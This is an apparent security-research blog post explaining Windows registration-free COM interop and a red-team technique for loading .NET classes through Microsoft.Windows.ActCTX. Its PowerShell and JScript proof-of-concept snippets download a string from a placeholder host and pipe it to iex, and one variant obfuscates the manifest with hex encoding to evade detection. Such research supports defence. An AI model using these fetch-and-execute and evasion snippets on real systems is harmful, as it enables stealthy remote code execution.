InQuest Blog

Threat-hunting, malware, ransomware, vulnerability analysis and news from authors of InQuest.

Abusing Registration-Free COM Interop

Posted on 2019-05-29 by Amirreza Niakanlahiji

In this short post, we dissect the inner workings of registration-free COM interop and present a known technique that red teamers can abuse to dynamically load .NET assembly logic. This technique was first presented by Casey Smith. Additionally, some minor obfuscated variations are presented in hopes of evading existing detection mechanisms. Proof-of-concept code snippets are provided in both PowerShell and JScript to demonstrate versatility.

Introduction

Windows applications generally rely on numerous shared dynamic-linked library (DLL) files to implement their business logic. These shared libraries are extended over time; which may result in changes to their APIs. Prior to the introduction of Windows Side-by-Side (SxS) technology, applications that relied on installed DLLs on client machines had no universal mechanism to ensure that the loaded DLLs were exactly the expected version. Even a minor discrepancy between versions could result in the crashing of the referencing application. This problem was called Windows DLL Hell. To address the issue, Microsoft introduced Windows SxS in Window 2000 and Windows 98 Second Edition. An application that uses SxS must have a manifest, which can be embedded in the executable file or bundled as an external file. The manifest is in XML format and allows the developer to specify the exact version of each DLL file that the application requires. The Windows loader, at runtime, reads the manifest and attempts to load the exact version of libraries that the application depends on. In the event that an exact version match can't be found, an attempt will be made to load the default version of that DLL.

Fig 1. SxS manager reads the manifest to determine DLL dependencies.

Traditionally, a COM server DLL must be registered by regsrv32.exe before any COM client can interact with it. In a nutshell, regsrv32.exe adds a few key-value pairs to the registry to bind and activate the COM server. However, a COM server DLL that's paired with an application manifest (embedded or bundled) can be loaded without registration; as the information in the manifest is enough to bind and activate the COM server.

Application/Component Manifest

An application manifest is an XML document defined by the following schema: urn:schemas-microsoft-com:asm.v1. Figure 2 depicts a sample manifest document:

Fig 2. Example of Application Manifest.

As mentioned in here, registration-free activation of .NET Framework-based COM components differ slightly from other COM components. Managed (.Net) components must have a component manifest in which each of their managed classes has a '<clrClass>' element. Figure 3 shows a sample component manifest for a managed COM component.

Fig 3. Example of Component Manifest.

It is worth noting that in Windows 10, manifest files in %SystemRoot%\WinSxS\Manifests are compressed with binary delta compression (DCM.PA30 format) instead of being in plain XML. One can decompress these manifest files with SXSEXP.

COM Client

Let's look at how a COM client can interact with a registration-free COM service. To do so, the client application needs an SxS manifest, in which it declares the specific COM service that it depends on. Based on this manifest, an activation context is constructed. Activation context is an in-memory data structure containing information that the system requires to redirect an application to load a specific DLL version, COM object instance, or custom window version. An application can have multiple contexts to be able to load and use different versions of the same library. We can use Windows APIs, such as CreateActCtxA and ActivateActCtx, to programmatically create a new application context or modify existing ones. However, it is much easier to leverage the Microsoft.Windows.ActCTX COM service to create a new application context from a given manifest. The following code snippets demonstrate the usage of this approach to load a .NET COM-visible assembly in a new context and then instantiate an object from a managed class within that assembly:

PowerShell

$obj = New-Object -COM Microsoft.Windows.ActCTX

$obj.ManifestText = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"><assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="B77A5C561934E089" /><clrClass clsid="{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}" progid="System.Net.WebClient" threadingModel="Both" name="System.Net.WebClient" runtimeVersion="v4.0.30319" /></assembly>'

$dummy = $obj.CreateObject('System.Net.WebClient')
$dummy.DownloadString("http://www.example.com") | iex

JScript

var obj = new ActiveXObject("Microsoft.Windows.ActCtx");

obj.ManifestText = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"><assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="B77A5C561934E089" /><clrClass clsid="{7D458845-B4B8-30CB-B2AD-FC4960FCDF81}" progid="System.Net.WebClient" threadingModel="Both" name="System.Net.WebClient" runtimeVersion="v4.0.30319" /></assembly>';

var dummy = obj.CreateObject("System.Net.WebClient");
var text = dummy.DownloadString("http://www.example.com");

Let's take look at how we can improve the stealthiness of the approach. First, it should be noted that we can set the values of 'name' and 'progid' in 'clrClass' to arbitrary literal strings. When we call the CreateObject function, we should pass a string that matches the 'progid' attribute. Second, we can apply an alternative (hex) character encoding to mask the attribute values. For example, the hex value for ASCII character '{' is 0x7b and would be represented as '{'. Consider the following variation of the above PowerShell snippet:

Obfuscated PowerShell Script

$obj = New-Object -COM Microsoft.Windows.ActCTX

$obj.ManifestText = '<?xml version="1.0" encoding="UTF-16" standalone="yes"?><assembly manifestVersion="1.0" xmlns="urn:schemas-microsoft-com:asm.v1"><assemblyIdentity name="System" version="4.0.0.0" publicKeyToken="B77A5C561934E089" /><clrClass clsid="&#x7b;&#x37;D458845-B4B8-30CB-B2AD-FC4960FCDF81&#x7d;" progid="&#x61;&#x62;&#x63;" threadingModel="Both" name="something" runtimeVersion="v4.0.30319" /></assembly>'

$dummy = $obj.CreateObject('abc')
$dummy.DownloadString("http://www.example.com") | iex

However, we should be careful about using the second approach. Ironically, overt usage of obfuscation techniques like XML character encoding in the above example will stand out to seasoned researchers. While obfuscation tactics are regularly employed by nefarious actors, the best obfuscation tactic in this author's opinion, is hiding in the plain sight. For example, consider the tale of CVE-2018-8174, a 0day exploit found in-the-wild (ITW) and estimated to have been launched on 4/25/2018. The ITW exploit leveraged a novel obfuscation technique documented by Kaspersky researchers earlier in the year. We call this technique "byte nibble" and wrote a YARA signature to detect the obfuscation by itself. The actors behind the CVE-2018-8174 0day campaign, in essence, burned their exploit through the application of obfuscation.

References

Blog Archive